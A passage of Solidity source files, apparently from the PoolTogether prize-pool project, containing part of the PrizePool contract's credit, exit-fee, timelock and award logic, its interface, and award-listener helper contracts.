/// @param from The address the tokens are being transferred from (0 if minting) /// @param to The address the tokens are being transferred to (0 if burning) /// @param amount The amount of tokens being trasferred function beforeTokenTransfer(address from, address to, uint256 amount) external override onlyControlledToken(msg.sender) { if (from != address(0)) { uint256 fromBeforeBalance = IERC20Upgradeable(msg.sender).balanceOf(from); // first accrue credit for their old balance uint256 newCreditBalance = _calculateCreditBalance(from, msg.sender, fromBeforeBalance, 0); if (from != to) { // if they are sending funds to someone else, we need to limit their accrued credit to their new balance newCreditBalance = _applyCreditLimit(msg.sender, fromBeforeBalance.sub(amount), newCreditBalance); } _updateCreditBalance(from, msg.sender, newCreditBalance); } if (to != address(0) && to != from) { _accrueCredit(to, msg.sender, IERC20Upgradeable(msg.sender).balanceOf(to), 0); } // if we aren't minting if (from != address(0) && address(prizeStrategy) != address(0)) { prizeStrategy.beforeTokenTransfer(from, to, amount, msg.sender); } } /// @notice Returns the balance that is available to award. /// @dev captureAwardBalance() should be called first /// @return The total amount of assets to be awarded for the current prize function awardBalance() external override view returns (uint256) { return _currentAwardBalance; } /// @notice Captures any available interest as award balance. /// @dev This function also captures the reserve fees. /// @return The total amount of assets to be awarded for the current prize function captureAwardBalance() external override nonReentrant returns (uint256) { uint256 tokenTotalSupply = _tokenTotalSupply(); // it's possible for the balance to be slightly less due to rounding errors in the underlying yield source uint256 currentBalance = _balance(); uint256 totalInterest = (currentBalance > tokenTotalSupply) ? currentBalance.sub(tokenTotalSupply) : 0; uint256 unaccountedPrizeBalance = (totalInterest > _currentAwardBalance) ? totalInterest.sub(_currentAwardBalance) : 0; if (unaccountedPrizeBalance > 0) { uint256 reserveFee = calculateReserveFee(unaccountedPrizeBalance); if (reserveFee > 0) { reserveTotalSupply = reserveTotalSupply.add(reserveFee); unaccountedPrizeBalance = unaccountedPrizeBalance.sub(reserveFee); emit ReserveFeeCaptured(reserveFee); } _currentAwardBalance = _currentAwardBalance.add(unaccountedPrizeBalance); emit AwardCaptured(unaccountedPrizeBalance); } return _currentAwardBalance; } function withdrawReserve(address to) external override onlyReserve returns (uint256) { uint256 amount = reserveTotalSupply; reserveTotalSupply = 0; uint256 redeemed = _redeem(amount); _token().safeTransfer(address(to), redeemed); emit ReserveWithdrawal(to, amount); return redeemed; } /// @notice Called by the prize strategy to award prizes. /// @dev The amount awarded must be less than the awardBalance() /// @param to The address of the winner that receives the award /// @param amount The amount of assets to be awarded /// @param controlledToken The address of the asset token being awarded function award( address to, uint256 amount, address controlledToken ) external override onlyPrizeStrategy onlyControlledToken(controlledToken) { if (amount == 0) { return; } require(amount <= _currentAwardBalance, "PrizePool/award-exceeds-avail"); _currentAwardBalance = _currentAwardBalance.sub(amount); _mint(to, amount, controlledToken, address(0)); uint256 extraCredit = _calculateEarlyExitFeeNoCredit(controlledToken, amount); _accrueCredit(to, controlledToken, IERC20Upgradeable(controlledToken).balanceOf(to), extraCredit); emit Awarded(to, controlledToken, amount); } /// @notice Called by the Prize-Strategy to transfer out external ERC20 tokens /// @dev Used to transfer out tokens held by the Prize Pool. Could be liquidated, or anything. /// @param to The address of the winner that receives the award /// @param amount The amount of external assets to be awarded /// @param externalToken The address of the external asset token being awarded function transferExternalERC20( address to, address externalToken, uint256 amount ) external override onlyPrizeStrategy { if (_transferOut(to, externalToken, amount)) { emit TransferredExternalERC20(to, externalToken, amount); } } /// @notice Called by the Prize-Strategy to award external ERC20 prizes /// @dev Used to award any arbitrary tokens held by the Prize Pool /// @param to The address of the winner that receives the award /// @param amount The amount of external assets to be awarded /// @param externalToken The address of the external asset token being awarded function awardExternalERC20( address to, address externalToken, uint256 amount ) external override onlyPrizeStrategy { if (_transferOut(to, externalToken, amount)) { emit AwardedExternalERC20(to, externalToken, amount); } } function _transferOut( address to, address externalToken, uint256 amount ) internal returns (bool) { require(_canAwardExternal(externalToken), "PrizePool/invalid-external-token"); if (amount == 0) { return false; } IERC20Upgradeable(externalToken).safeTransfer(to, amount); return true; } /// @notice Called to mint controlled tokens. Ensures that token listener callbacks are fired. /// @param to The user who is receiving the tokens /// @param amount The amount of tokens they are receiving /// @param controlledToken The token that is going to be minted /// @param referrer The user who referred the minting function _mint(address to, uint256 amount, address controlledToken, address referrer) internal { if (address(prizeStrategy) != address(0)) { prizeStrategy.beforeTokenMint(to, amount, controlledToken, referrer); } ControlledToken(controlledToken).controllerMint(to, amount); } /// @notice Called by the prize strategy to award external ERC721 prizes /// @dev Used to award any arbitrary NFTs held by the Prize Pool /// @param to The address of the winner that receives the award /// @param externalToken The address of the external NFT token being awarded /// @param tokenIds An array of NFT Token IDs to be transferred function awardExternalERC721( address to, address externalToken, uint256[] calldata tokenIds ) external override onlyPrizeStrategy { require(_canAwardExternal(externalToken), "PrizePool/invalid-external-token"); if (tokenIds.length == 0) { return; } for (uint256 i = 0; i < tokenIds.length; i++) { IERC721Upgradeable(externalToken).transferFrom(address(this), to, tokenIds[i]); } emit AwardedExternalERC721(to, externalToken, tokenIds); } /// @notice Calculates the reserve portion of the given amount of funds. If there is no reserve address, the portion will be zero. /// @param amount The prize amount /// @return The size of the reserve portion of the prize function calculateReserveFee(uint256 amount) public view returns (uint256) { ReserveInterface reserve = ReserveInterface(reserveRegistry.lookup()); if (address(reserve) == address(0)) { return 0; } uint256 reserveRateMantissa = reserve.reserveRateMantissa(address(this)); if (reserveRateMantissa == 0) { return 0; } return FixedPoint.multiplyUintByMantissa(amount, reserveRateMantissa); } /// @notice Sweep all timelocked balances and transfer unlocked assets to owner accounts /// @param users An array of account addresses to sweep balances for /// @return The total amount of assets swept from the Prize Pool function sweepTimelockBalances( address[] calldata users ) external override nonReentrant returns (uint256) { return _sweepTimelockBalances(users); } /// @notice Sweep available timelocked balances to their owners. The full balances will be swept to the owners. /// @param users An array of owner addresses /// @return The total amount of assets swept from the Prize Pool function _sweepTimelockBalances( address[] memory users ) internal returns (uint256) { address operator = _msgSender(); uint256[] memory balances = new uint256[](users.length); uint256 totalWithdrawal; uint256 i; for (i = 0; i < users.length; i++) { address user = users[i]; if (_unlockTimestamps[user] <= _currentTime()) { totalWithdrawal = totalWithdrawal.add(_timelockBalances[user]); balances[i] = _timelockBalances[user]; delete _timelockBalances[user]; } } // if there is nothing to do, just quit if (totalWithdrawal == 0) { return 0; } timelockTotalSupply = timelockTotalSupply.sub(totalWithdrawal); uint256 redeemed = _redeem(totalWithdrawal); IERC20Upgradeable underlyingToken = IERC20Upgradeable(_token()); for (i = 0; i < users.length; i++) { if (balances[i] > 0) { delete _unlockTimestamps[users[i]]; uint256 shareMantissa = FixedPoint.calculateMantissa(balances[i], totalWithdrawal); uint256 transferAmount = FixedPoint.multiplyUintByMantissa(redeemed, shareMantissa); underlyingToken.safeTransfer(users[i], transferAmount); emit TimelockedWithdrawalSwept(operator, users[i], balances[i], transferAmount); } } return totalWithdrawal; } /// @notice Calculates a timelocked withdrawal duration and credit consumption. /// @param from The user who is withdrawing /// @param amount The amount the user is withdrawing /// @param controlledToken The type of collateral the user is withdrawing (i.e. ticket or sponsorship) /// @return durationSeconds The duration of the timelock in seconds function calculateTimelockDuration( address from, address controlledToken, uint256 amount ) external override returns ( uint256 durationSeconds, uint256 burnedCredit ) { return _calculateTimelockDuration(from, controlledToken, amount); } /// @dev Calculates a timelocked withdrawal duration and credit consumption. /// @param from The user who is withdrawing /// @param amount The amount the user is withdrawing /// @param controlledToken The type of collateral the user is withdrawing (i.e. ticket or sponsorship) /// @return durationSeconds The duration of the timelock in seconds /// @return burnedCredit The credit that was burned function _calculateTimelockDuration( address from, address controlledToken, uint256 amount ) internal returns ( uint256 durationSeconds, uint256 burnedCredit ) { (uint256 exitFee, uint256 _burnedCredit) = _calculateEarlyExitFeeLessBurnedCredit(from, controlledToken, amount); uint256 duration = _estimateCreditAccrualTime(controlledToken, amount, exitFee); if (duration > maxTimelockDuration) { duration = maxTimelockDuration; } return (duration, _burnedCredit); } /// @notice Calculates the early exit fee for the given amount /// @param from The user who is withdrawing /// @param controlledToken The type of collateral being withdrawn /// @param amount The amount of collateral to be withdrawn /// @return exitFee The exit fee /// @return burnedCredit The user's credit that was burned function calculateEarlyExitFee( address from, address controlledToken, uint256 amount ) external override returns ( uint256 exitFee, uint256 burnedCredit ) { return _calculateEarlyExitFeeLessBurnedCredit(from, controlledToken, amount); } /// @dev Calculates the early exit fee for the given amount /// @param amount The amount of collateral to be withdrawn /// @return Exit fee function _calculateEarlyExitFeeNoCredit(address controlledToken, uint256 amount) internal view returns (uint256) { return _limitExitFee( amount, FixedPoint.multiplyUintByMantissa(amount, _tokenCreditPlans[controlledToken].creditLimitMantissa) ); } /// @notice Estimates the amount of time it will take for a given amount of funds to accrue the given amount of credit. /// @param _principal The principal amount on which interest is accruing /// @param _interest The amount of interest that must accrue /// @return durationSeconds The duration of time it will take to accrue the given amount of interest, in seconds. function estimateCreditAccrualTime( address _controlledToken, uint256 _principal, uint256 _interest ) external override view returns (uint256 durationSeconds) { return _estimateCreditAccrualTime( _controlledToken, _principal, _interest ); } /// @notice Estimates the amount of time it will take for a given amount of funds to accrue the given amount of credit /// @param _principal The principal amount on which interest is accruing /// @param _interest The amount of interest that must accrue /// @return durationSeconds The duration of time it will take to accrue the given amount of interest, in seconds. function _estimateCreditAccrualTime( address _controlledToken, uint256 _principal, uint256 _interest ) internal view returns (uint256 durationSeconds) { // interest = credit rate * principal * time // => time = interest / (credit rate * principal) uint256 accruedPerSecond = FixedPoint.multiplyUintByMantissa(_principal, _tokenCreditPlans[_controlledToken].creditRateMantissa); if (accruedPerSecond == 0) { return 0; } return _interest.div(accruedPerSecond); } /// @notice Burns a users credit. /// @param user The user whose credit should be burned /// @param credit The amount of credit to burn function _burnCredit(address user, address controlledToken, uint256 credit) internal { _tokenCreditBalances[controlledToken][user].balance = uint256(_tokenCreditBalances[controlledToken][user].balance).sub(credit).toUint128(); emit CreditBurned(user, controlledToken, credit); } /// @notice Accrues ticket credit for a user assuming their current balance is the passed balance. May burn credit if they exceed their limit. /// @param user The user for whom to accrue credit /// @param controlledToken The controlled token whose balance we are checking /// @param controlledTokenBalance The balance to use for the user /// @param extra Additional credit to be added function _accrueCredit(address user, address controlledToken, uint256 controlledTokenBalance, uint256 extra) internal { _updateCreditBalance( user, controlledToken, _calculateCreditBalance(user, controlledToken, controlledTokenBalance, extra) ); } function _calculateCreditBalance(address user, address controlledToken, uint256 controlledTokenBalance, uint256 extra) internal view returns (uint256) { uint256 newBalance; CreditBalance storage creditBalance = _tokenCreditBalances[controlledToken][user]; if (!creditBalance.initialized) { newBalance = 0; } else { uint256 credit = _calculateAccruedCredit(user, controlledToken, controlledTokenBalance); newBalance = _applyCreditLimit(controlledToken, controlledTokenBalance, uint256(creditBalance.balance).add(credit).add(extra)); } return newBalance; } function _updateCreditBalance(address user, address controlledToken, uint256 newBalance) internal { uint256 oldBalance = _tokenCreditBalances[controlledToken][user].balance; _tokenCreditBalances[controlledToken][user] = CreditBalance({ balance: newBalance.toUint128(), timestamp: _currentTime().toUint32(), initialized: true }); if (oldBalance < newBalance) { emit CreditMinted(user, controlledToken, newBalance.sub(oldBalance)); } else { emit CreditBurned(user, controlledToken, oldBalance.sub(newBalance)); } } /// @notice Applies the credit limit to a credit balance. The balance cannot exceed the credit limit. /// @param controlledToken The controlled token that the user holds /// @param controlledTokenBalance The users ticket balance (used to calculate credit limit) /// @param creditBalance The new credit balance to be checked /// @return The users new credit balance. Will not exceed the credit limit. function _applyCreditLimit(address controlledToken, uint256 controlledTokenBalance, uint256 creditBalance) internal view returns (uint256) { uint256 creditLimit = FixedPoint.multiplyUintByMantissa( controlledTokenBalance, _tokenCreditPlans[controlledToken].creditLimitMantissa ); if (creditBalance > creditLimit) { creditBalance = creditLimit; } return creditBalance; } /// @notice Calculates the accrued interest for a user /// @param user The user whose credit should be calculated. /// @param controlledToken The controlled token that the user holds /// @param controlledTokenBalance The user's current balance of the controlled tokens. /// @return The credit that has accrued since the last credit update. function _calculateAccruedCredit(address user, address controlledToken, uint256 controlledTokenBalance) internal view returns (uint256) { uint256 userTimestamp = _tokenCreditBalances[controlledToken][user].timestamp; if (!_tokenCreditBalances[controlledToken][user].initialized) { return 0; } uint256 deltaTime = _currentTime().sub(userTimestamp); uint256 creditPerSecond = FixedPoint.multiplyUintByMantissa(controlledTokenBalance, _tokenCreditPlans[controlledToken].creditRateMantissa); return deltaTime.mul(creditPerSecond); } /// @notice Returns the credit balance for a given user. Not that this includes both minted credit and pending credit. /// @param user The user whose credit balance should be returned /// @return The balance of the users credit function balanceOfCredit(address user, address controlledToken) external override onlyControlledToken(controlledToken) returns (uint256) { _accrueCredit(user, controlledToken, IERC20Upgradeable(controlledToken).balanceOf(user), 0); return _tokenCreditBalances[controlledToken][user].balance; } /// @notice Sets the rate at which credit accrues per second. The credit rate is a fixed point 18 number (like Ether). /// @param _controlledToken The controlled token for whom to set the credit plan /// @param _creditRateMantissa The credit rate to set. Is a fixed point 18 decimal (like Ether). /// @param _creditLimitMantissa The credit limit to set. Is a fixed point 18 decimal (like Ether). function setCreditPlanOf( address _controlledToken, uint128 _creditRateMantissa, uint128 _creditLimitMantissa ) external override onlyControlledToken(_controlledToken) onlyOwner { _tokenCreditPlans[_controlledToken] = CreditPlan({ creditLimitMantissa: _creditLimitMantissa, creditRateMantissa: _creditRateMantissa }); emit CreditPlanSet(_controlledToken, _creditLimitMantissa, _creditRateMantissa); } /// @notice Returns the credit rate of a controlled token /// @param controlledToken The controlled token to retrieve the credit rates for /// @return creditLimitMantissa The credit limit fraction. This number is used to calculate both the credit limit and early exit fee. /// @return creditRateMantissa The credit rate. This is the amount of tokens that accrue per second. function creditPlanOf( address controlledToken ) external override view returns ( uint128 creditLimitMantissa, uint128 creditRateMantissa ) { creditLimitMantissa = _tokenCreditPlans[controlledToken].creditLimitMantissa; creditRateMantissa = _tokenCreditPlans[controlledToken].creditRateMantissa; } /// @notice Calculate the early exit for a user given a withdrawal amount. The user's credit is taken into account. /// @param from The user who is withdrawing /// @param controlledToken The token they are withdrawing /// @param amount The amount of funds they are withdrawing /// @return earlyExitFee The additional exit fee that should be charged. /// @return creditBurned The amount of credit that will be burned function _calculateEarlyExitFeeLessBurnedCredit( address from, address controlledToken, uint256 amount ) internal returns ( uint256 earlyExitFee, uint256 creditBurned ) { uint256 controlledTokenBalance = IERC20Upgradeable(controlledToken).balanceOf(from); require(controlledTokenBalance >= amount, "PrizePool/insuff-funds"); _accrueCredit(from, controlledToken, controlledTokenBalance, 0); /* The credit is used *last*. Always charge the fees up-front. How to calculate: Calculate their remaining exit fee. I.e. full exit fee of their balance less their credit. If the exit fee on their withdrawal is greater than the remaining exit fee, then they'll have to pay the difference. */ // Determine available usable credit based on withdraw amount uint256 remainingExitFee = _calculateEarlyExitFeeNoCredit(controlledToken, controlledTokenBalance.sub(amount)); uint256 availableCredit; if (_tokenCreditBalances[controlledToken][from].balance >= remainingExitFee) { availableCredit = uint256(_tokenCreditBalances[controlledToken][from].balance).sub(remainingExitFee); } // Determine amount of credit to burn and amount of fees required uint256 totalExitFee = _calculateEarlyExitFeeNoCredit(controlledToken, amount); creditBurned = (availableCredit > totalExitFee) ? totalExitFee : availableCredit; earlyExitFee = totalExitFee.sub(creditBurned); return (earlyExitFee, creditBurned); } /// @notice Allows the Governor to set a cap on the amount of liquidity that he pool can hold /// @param _liquidityCap The new liquidity cap for the prize pool function setLiquidityCap(uint256 _liquidityCap) external override onlyOwner { _setLiquidityCap(_liquidityCap); } function _setLiquidityCap(uint256 _liquidityCap) internal { liquidityCap = _liquidityCap; emit LiquidityCapSet(_liquidityCap); } /// @notice Adds a new controlled token /// @param _controlledToken The controlled token to add. Cannot be a duplicate. function _addControlledToken(ControlledTokenInterface _controlledToken) internal { require(_controlledToken.controller() == this, "PrizePool/token-ctrlr-mismatch"); _tokens.addAddress(address(_controlledToken)); emit ControlledTokenAdded(_controlledToken); } /// @notice Sets the prize strategy of the prize pool. Only callable by the owner. /// @param _prizeStrategy The new prize strategy function setPrizeStrategy(TokenListenerInterface _prizeStrategy) external override onlyOwner { _setPrizeStrategy(_prizeStrategy); } /// @notice Sets the prize strategy of the prize pool. Only callable by the owner. /// @param _prizeStrategy The new prize strategy function _setPrizeStrategy(TokenListenerInterface _prizeStrategy) internal { require(address(_prizeStrategy) != address(0), "PrizePool/prizeStrategy-not-zero"); require(address(_prizeStrategy).supportsInterface(TokenListenerLibrary.ERC165_INTERFACE_ID_TOKEN_LISTENER), "PrizePool/prizeStrategy-invalid"); prizeStrategy = _prizeStrategy; emit PrizeStrategySet(address(_prizeStrategy)); } /// @notice An array of the Tokens controlled by the Prize Pool (ie. Tickets, Sponsorship) /// @return An array of controlled token addresses function tokens() external override view returns (address[] memory) { return _tokens.addressArray(); } /// @dev Gets the current time as represented by the current block /// @return The timestamp of the current block function _currentTime() internal virtual view returns (uint256) { return block.timestamp; } /// @notice The timestamp at which an account's timelocked balance will be made available to sweep /// @param user The address of an account with timelocked assets /// @return The timestamp at which the locked assets will be made available function timelockBalanceAvailableAt(address user) external override view returns (uint256) { return _unlockTimestamps[user]; } /// @notice The balance of timelocked assets for an account /// @param user The address of an account with timelocked assets /// @return The amount of assets that have been timelocked function timelockBalanceOf(address user) external override view returns (uint256) { return _timelockBalances[user]; } /// @notice The total of all controlled tokens and timelock. /// @return The current total of all tokens and timelock. function accountedBalance() external override view returns (uint256) { return _tokenTotalSupply(); } /// @notice Delegate the votes for a Compound COMP-like token held by the prize pool /// @param compLike The COMP-like token held by the prize pool that should be delegated /// @param to The address to delegate to function compLikeDelegate(ICompLike compLike, address to) external onlyOwner { if (compLike.balanceOf(address(this)) > 0) { compLike.delegate(to); } } /// @notice The total of all controlled tokens and timelock. /// @return The current total of all tokens and timelock. function _tokenTotalSupply() internal view returns (uint256) { uint256 total = timelockTotalSupply.add(reserveTotalSupply); address currentToken = _tokens.start(); while (currentToken != address(0) && currentToken != _tokens.end()) { total = total.add(IERC20Upgradeable(currentToken).totalSupply()); currentToken = _tokens.next(currentToken); } return total; } /// @dev Checks if the Prize Pool can receive liquidity based on the current cap /// @param _amount The amount of liquidity to be added to the Prize Pool /// @return True if the Prize Pool can receive the specified amount of liquidity function _canAddLiquidity(uint256 _amount) internal view returns (bool) { uint256 tokenTotalSupply = _tokenTotalSupply(); return (tokenTotalSupply.add(_amount) <= liquidityCap); } /// @dev Checks if a specific token is controlled by the Prize Pool /// @param controlledToken The address of the token to check /// @return True if the token is a controlled token, false otherwise function _isControlled(address controlledToken) internal view returns (bool) { return _tokens.contains(controlledToken); } /// @notice Determines whether the passed token can be transferred out as an external award. /// @dev Different yield sources will hold the deposits as another kind of token: such a Compound's cToken. The /// prize strategy should not be allowed to move those tokens. /// @param _externalToken The address of the token to check /// @return True if the token may be awarded, false otherwise function _canAwardExternal(address _externalToken) internal virtual view returns (bool); /// @notice Returns the ERC20 asset token used for deposits. /// @return The ERC20 asset token function _token() internal virtual view returns (IERC20Upgradeable); /// @notice Returns the total balance (in asset tokens). This includes the deposits and interest. /// @return The underlying balance of asset tokens function _balance() internal virtual returns (uint256); /// @notice Supplies asset tokens to the yield source. /// @param mintAmount The amount of asset tokens to be supplied function _supply(uint256 mintAmount) internal virtual; /// @notice Redeems asset tokens from the yield source. /// @param redeemAmount The amount of yield-bearing tokens to be redeemed /// @return The actual amount of tokens that were redeemed. function _redeem(uint256 redeemAmount) internal virtual returns (uint256); /// @dev Function modifier to ensure usage of tokens controlled by the Prize Pool /// @param controlledToken The address of the token to check modifier onlyControlledToken(address controlledToken) { require(_isControlled(controlledToken), "PrizePool/unknown-token"); _; } /// @dev Function modifier to ensure caller is the prize-strategy modifier onlyPrizeStrategy() { require(_msgSender() == address(prizeStrategy), "PrizePool/only-prizeStrategy"); _; } /// @dev Function modifier to ensure the deposit amount does not exceed the liquidity cap (if set) modifier canAddLiquidity(uint256 _amount) { require(_canAddLiquidity(_amount), "PrizePool/exceeds-liquidity-cap"); _; } modifier onlyReserve() { ReserveInterface reserve = ReserveInterface(reserveRegistry.lookup()); require(address(reserve) == msg.sender, "PrizePool/only-reserve"); _; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "../token/TokenListenerInterface.sol"; import "../token/ControlledTokenInterface.sol"; /// @title Escrows assets and deposits them into a yield source. Exposes interest to Prize Strategy. Users deposit and withdraw from this contract to participate in Prize Pool. /// @notice Accounting is managed using Controlled Tokens, whose mint and burn functions can only be called by this contract. /// @dev Must be inherited to provide specific yield-bearing asset control, such as Compound cTokens interface PrizePoolInterface { /// @notice Deposit assets into the Prize Pool in exchange for tokens /// @param to The address receiving the newly minted tokens /// @param amount The amount of assets to deposit /// @param controlledToken The address of the type of token the user is minting /// @param referrer The referrer of the deposit function depositTo( address to, uint256 amount, address controlledToken, address referrer ) external; /// @notice Withdraw assets from the Prize Pool instantly. A fairness fee may be charged for an early exit. /// @param from The address to redeem tokens from. /// @param amount The amount of tokens to redeem for assets. /// @param controlledToken The address of the token to redeem (i.e. ticket or sponsorship) /// @param maximumExitFee The maximum exit fee the caller is willing to pay. This should be pre-calculated by the calculateExitFee() fxn. /// @return The actual exit fee paid function withdrawInstantlyFrom( address from, uint256 amount, address controlledToken, uint256 maximumExitFee ) external returns (uint256); /// @notice Withdraw assets from the Prize Pool by placing them into the timelock. /// The timelock is used to ensure that the tickets have contributed their fair share of the prize. /// @dev Note that if the user has previously timelocked funds then this contract will try to sweep them. /// If the existing timelocked funds are still locked, then the incoming /// balance is added to their existing balance and the new timelock unlock timestamp will overwrite the old one. /// @param from The address to withdraw from /// @param amount The amount to withdraw /// @param controlledToken The type of token being withdrawn /// @return The timestamp from which the funds can be swept function withdrawWithTimelockFrom( address from, uint256 amount, address controlledToken ) external returns (uint256); function withdrawReserve(address to) external returns (uint256); /// @notice Returns the balance that is available to award. /// @dev captureAwardBalance() should be called first /// @return The total amount of assets to be awarded for the current prize function awardBalance() external view returns (uint256); /// @notice Captures any available interest as award balance. /// @dev This function also captures the reserve fees. /// @return The total amount of assets to be awarded for the current prize function captureAwardBalance() external returns (uint256); /// @notice Called by the prize strategy to award prizes. /// @dev The amount awarded must be less than the awardBalance() /// @param to The address of the winner that receives the award /// @param amount The amount of assets to be awarded /// @param controlledToken The address of the asset token being awarded function award( address to, uint256 amount, address controlledToken ) external; /// @notice Called by the Prize-Strategy to transfer out external ERC20 tokens /// @dev Used to transfer out tokens held by the Prize Pool. Could be liquidated, or anything. /// @param to The address of the winner that receives the award /// @param amount The amount of external assets to be awarded /// @param externalToken The address of the external asset token being awarded function transferExternalERC20( address to, address externalToken, uint256 amount ) external; /// @notice Called by the Prize-Strategy to award external ERC20 prizes /// @dev Used to award any arbitrary tokens held by the Prize Pool /// @param to The address of the winner that receives the award /// @param amount The amount of external assets to be awarded /// @param externalToken The address of the external asset token being awarded function awardExternalERC20( address to, address externalToken, uint256 amount ) external; /// @notice Called by the prize strategy to award external ERC721 prizes /// @dev Used to award any arbitrary NFTs held by the Prize Pool /// @param to The address of the winner that receives the award /// @param externalToken The address of the external NFT token being awarded /// @param tokenIds An array of NFT Token IDs to be transferred function awardExternalERC721( address to, address externalToken, uint256[] calldata tokenIds ) external; /// @notice Sweep all timelocked balances and transfer unlocked assets to owner accounts /// @param users An array of account addresses to sweep balances for /// @return The total amount of assets swept from the Prize Pool function sweepTimelockBalances( address[] calldata users ) external returns (uint256); /// @notice Calculates a timelocked withdrawal duration and credit consumption. /// @param from The user who is withdrawing /// @param amount The amount the user is withdrawing /// @param controlledToken The type of collateral the user is withdrawing (i.e. ticket or sponsorship) /// @return durationSeconds The duration of the timelock in seconds function calculateTimelockDuration( address from, address controlledToken, uint256 amount ) external returns ( uint256 durationSeconds, uint256 burnedCredit ); /// @notice Calculates the early exit fee for the given amount /// @param from The user who is withdrawing /// @param controlledToken The type of collateral being withdrawn /// @param amount The amount of collateral to be withdrawn /// @return exitFee The exit fee /// @return burnedCredit The user's credit that was burned function calculateEarlyExitFee( address from, address controlledToken, uint256 amount ) external returns ( uint256 exitFee, uint256 burnedCredit ); /// @notice Estimates the amount of time it will take for a given amount of funds to accrue the given amount of credit. /// @param _principal The principal amount on which interest is accruing /// @param _interest The amount of interest that must accrue /// @return durationSeconds The duration of time it will take to accrue the given amount of interest, in seconds. function estimateCreditAccrualTime( address _controlledToken, uint256 _principal, uint256 _interest ) external view returns (uint256 durationSeconds); /// @notice Returns the credit balance for a given user. Not that this includes both minted credit and pending credit. /// @param user The user whose credit balance should be returned /// @return The balance of the users credit function balanceOfCredit(address user, address controlledToken) external returns (uint256); /// @notice Sets the rate at which credit accrues per second. The credit rate is a fixed point 18 number (like Ether). /// @param _controlledToken The controlled token for whom to set the credit plan /// @param _creditRateMantissa The credit rate to set. Is a fixed point 18 decimal (like Ether). /// @param _creditLimitMantissa The credit limit to set. Is a fixed point 18 decimal (like Ether). function setCreditPlanOf( address _controlledToken, uint128 _creditRateMantissa, uint128 _creditLimitMantissa ) external; /// @notice Returns the credit rate of a controlled token /// @param controlledToken The controlled token to retrieve the credit rates for /// @return creditLimitMantissa The credit limit fraction. This number is used to calculate both the credit limit and early exit fee. /// @return creditRateMantissa The credit rate. This is the amount of tokens that accrue per second. function creditPlanOf( address controlledToken ) external view returns ( uint128 creditLimitMantissa, uint128 creditRateMantissa ); /// @notice Allows the Governor to set a cap on the amount of liquidity that he pool can hold /// @param _liquidityCap The new liquidity cap for the prize pool function setLiquidityCap(uint256 _liquidityCap) external; /// @notice Sets the prize strategy of the prize pool. Only callable by the owner. /// @param _prizeStrategy The new prize strategy. Must implement TokenListenerInterface function setPrizeStrategy(TokenListenerInterface _prizeStrategy) external; /// @dev Returns the address of the underlying ERC20 asset /// @return The address of the asset function token() external view returns (address); /// @notice An array of the Tokens controlled by the Prize Pool (ie. Tickets, Sponsorship) /// @return An array of controlled token addresses function tokens() external view returns (address[] memory); /// @notice The timestamp at which an account's timelocked balance will be made available to sweep /// @param user The address of an account with timelocked assets /// @return The timestamp at which the locked assets will be made available function timelockBalanceAvailableAt(address user) external view returns (uint256); /// @notice The balance of timelocked assets for an account /// @param user The address of an account with timelocked assets /// @return The amount of assets that have been timelocked function timelockBalanceOf(address user) external view returns (uint256); /// @notice The total of all controlled tokens and timelock. /// @return The current total of all tokens and timelock. function accountedBalance() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; import "./BeforeAwardListenerInterface.sol"; import "../Constants.sol"; import "./BeforeAwardListenerLibrary.sol"; abstract contract BeforeAwardListener is BeforeAwardListenerInterface { function supportsInterface(bytes4 interfaceId) external override view returns (bool) { return ( interfaceId == Constants.ERC165_INTERFACE_ID_ERC165 || interfaceId == BeforeAwardListenerLibrary.ERC165_INTERFACE_ID_BEFORE_AWARD_LISTENER ); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/introspection/IERC165Upgradeable.sol"; /// @notice The interface for the Periodic Prize Strategy before award listener. This listener will be called immediately before the award is distributed. interface BeforeAwardListenerInterface is IERC165Upgradeable { /// @notice Called immediately before the award is distributed function beforePrizePoolAwarded(uint256 randomNumber, uint256 prizePeriodStartedAt) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; library BeforeAwardListenerLibrary { /* * bytes4(keccak256('beforePrizePoolAwarded(uint256,uint256)')) == 0x4cdf9c3e */ bytes4 public constant ERC165_INTERFACE_ID_BEFORE_AWARD_LISTENER = 0x4cdf9c3e; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/SafeCastUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/introspection/ERC165CheckerUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@pooltogether/pooltogether-rng-contracts/contracts/RNGInterface.sol"; import "@pooltogether/fixed-point/contracts/FixedPoint.sol"; import "../token/TokenListener.sol"; import "../token/TokenControllerInterface.sol"; import "../token/ControlledToken.sol"; import "../token/TicketInterface.sol"; import "../prize-pool/PrizePool.sol"; import "../Constants.sol"; import "./PeriodicPrizeStrategyListenerInterface.sol"; import "./PeriodicPrizeStrategyListenerLibrary.sol"; import "./BeforeAwardListener.sol"; /* solium-disable security/no-block-members */ abstract contract PeriodicPrizeStrategy is Initializable, OwnableUpgradeable, TokenListener { using SafeMathUpgradeable for uint256; using SafeCastUpgradeable for uint256; using SafeERC20Upgradeable for IERC20Upgradeable; using MappedSinglyLinkedList for MappedSinglyLinkedList.Mapping; using AddressUpgradeable for address; using ERC165CheckerUpgradeable for address; uint256 internal constant ETHEREUM_BLOCK_TIME_ESTIMATE_MANTISSA = 13.4 ether; event PrizePoolOpened( address indexed operator, uint256 indexed prizePeriodStartedAt ); event RngRequestFailed(); event PrizePoolAwardStarted( address indexed operator, address indexed prizePool, uint32 indexed rngRequestId, uint32 rngLockBlock ); event PrizePoolAwardCancelled( address indexed operator, address indexed prizePool, uint32 indexed rngRequestId, uint32 rngLockBlock ); event PrizePoolAwarded( address indexed operator, uint256 randomNumber ); event RngServiceUpdated( RNGInterface indexed rngService ); event TokenListenerUpdated( TokenListenerInterface indexed tokenListener ); event RngRequestTimeoutSet( uint32 rngRequestTimeout ); event PrizePeriodSecondsUpdated( uint256 prizePeriodSeconds ); event BeforeAwardListenerSet( 